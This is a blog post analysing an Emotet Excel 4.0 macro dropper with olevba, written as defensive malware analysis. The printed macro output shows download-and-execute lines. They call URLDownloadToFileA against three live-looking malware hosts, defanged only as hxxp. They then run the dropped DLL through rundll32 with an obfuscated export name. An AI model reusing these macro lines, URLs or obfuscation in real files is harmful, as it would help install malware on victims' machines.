Emotet's Excel 4.0 Macros Dropping DLLs

forensicitguy.github.io/emotet-excel4-macro-analysis/

January 17, 2022

By *Tony Lambert*
Posted *2022-01-17* Updated *2022-03-28* *4 min* read

It's been a little while since I checked in on Emotet to see how its first stage loaders are doing. Lately the first stage has been using Excel 4.0 macros to drop payloads, so in this post I'll walk through the analysis of one Emotet Excel document. If you want to play along at home, I'm working with this sample in MalwareBazaar:
https://bazaar.abuse.ch/sample/1a243db583013a6999761dad88d6952351fdc2cd17d2016990276a9dd11ac90b/

Triaging the File

As always, we should confirm our filetype first. Let's give it a go using `file`, `xxd`, and `head`.

```
remnux@remnux:~/cases/emotet$ file nn30.xlsm
nn30.xlsm: Microsoft Excel 2007+

remnux@remnux:~/cases/emotet$ xxd nn30.xlsm | head
00000000: 504b 0304 1400 0600 0800 0000 2100 a78b
PK.........!...
00000010: 2b33 c901 0000 9707 0000 1300 0802 5b43
+3............[C
00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d
ontent_Types].xm
00000030: 6c20 a204 0228 a000 0200 0000 0000 0000  l ...
(.........
00000040: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000070: 0000 0000 0000 0101 0000 0000 0000 0000
................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000
................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000
................
```

The `file` output says the file magic belongs to a Excel document, and the first few bytes are what I'd expect from an Excel document. The `PK` part of the magic is common to zip archives as well and Excel XLSX documents are similar to zip archives. The string `[Content Types].xml` refers to the filename of one of the XML files that make up a larger Excel document. If you unzip a XLSX file, you'll find one of those files in the extracted content. All told, this is consistent with an Excel doc.

Analyzing the Document

A good starting point for the analysis is `olevba`.

```
remnux@remnux:~/cases/emotet$ olevba nn30.xlsm
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: nn30.xlsm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' RAW EXCEL4/XLM MACRO FORMULAS:
' SHEET: EWDFFEFAD, Macrosheet
' CELL:E13,
```

```
=FORMULA(Srieifew1!E2,E16)=FORMULA(Buuk1!P22&Buuk1!H9&Buuk1!L2&Buuk1!B15&Buuk1!B15&Srieifew1!B10&Srieifew1!D6&Srieifew1!F9&Srieifew
E32), 0
' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:
' CELL:E13       , FullEvaluation      , False
' CELL:E18       , FullEvaluation      , CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://zml.laneso.com/packet/AlvJ8OdtSYEee
' CELL:E20       , FullEvaluation      , IF(YHYH<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://ostadsarma.com/wp-admin/JN
' CELL:E22       , FullEvaluation      , IF(YHYH1<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://govtjobresultbd.xyz/sjjz/
' CELL:E24       , FullEvaluation      , IF(YHYH2<0,CLOSE(0),)
' CELL:E26       , PartialEvaluation   , =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""
' CELL:E32       , FullEvaluation      , RETURN()
+----------+-------------------+-------------------------------------------+
|Type      |Keyword            |Description                                |
+----------+-------------------+-------------------------------------------+
|Suspicious|CALL               |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Windows            |May enumerate application windows (if      |
|          |                   |combined with Shell.Application object)    |
|Suspicious|URLDownloadToFileA |May download files from the Internet       |
|Suspicious|EXEC               |May run an executable file or a system     |
|          |                   |command using Excel 4 Macros (XLM/XLF)     |
|Suspicious|Base64 Strings     |Base64-encoded strings were detected, may be |
|          |                   |used to obfuscate strings (option --decode to|
|          |                   |see all)                                   |
|IOC       |hxxps://zml.laneso.c|URL                                        |
|          |om/packet/AlvJ8OdtSY|                                           |
|          |EeeCQP/            |                                           |
|IOC       |hxxp://ostadsarma.co|URL                                        |
|          |m/wp-admin/JNgASjNC/|                                           |
|IOC       |hxxp://govtjobresult|URL                                        |
|          |bd.xyz/sjjz/UIUhOHsL|                                           |
|          |qjOy9/             |                                           |
|IOC       |rundll32.exe       |Executable file name                       |
|Suspicious|XLM macro          |XLM macro found. It may contain malicious  |
|          |                   |code                                       |
+----------+-------------------+-------------------------------------------+
```

Interpreting the output, it looks like the document has Excel 4.0 macros that download content from these URLs:

- `hxxps://zml.laneso[.]com/packet/AlvJ8OdtSYEeeCQP/`
- `hxxp://ostadsarma[.]com/wp-admin/JNgASjNC/`
- `hxxp://govtjobresultbd[.]xyz/sjjz/UIUhOHsLqjOy9/`

And using the `URLDownloadToFileA` function from `urlmon.dll`, the document saved the downloaded content to `erum.ocx`.

Afterward, the document proceeded to execute `C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D"&"l"&"lR"&"egister"&"Serve"&"r`. The obfuscation on the DLL export reduces down to `DllRegisterServer`. So the process ancestry becomes `excel.exe -> rundll32.exe erum.ocx,DllRegisterServer`.

We can confirm this by looking at a sandbox report from Tria.ge here: https://tria.ge/220115-mqldpsdhb7/behavioral1.

Thanks for reading!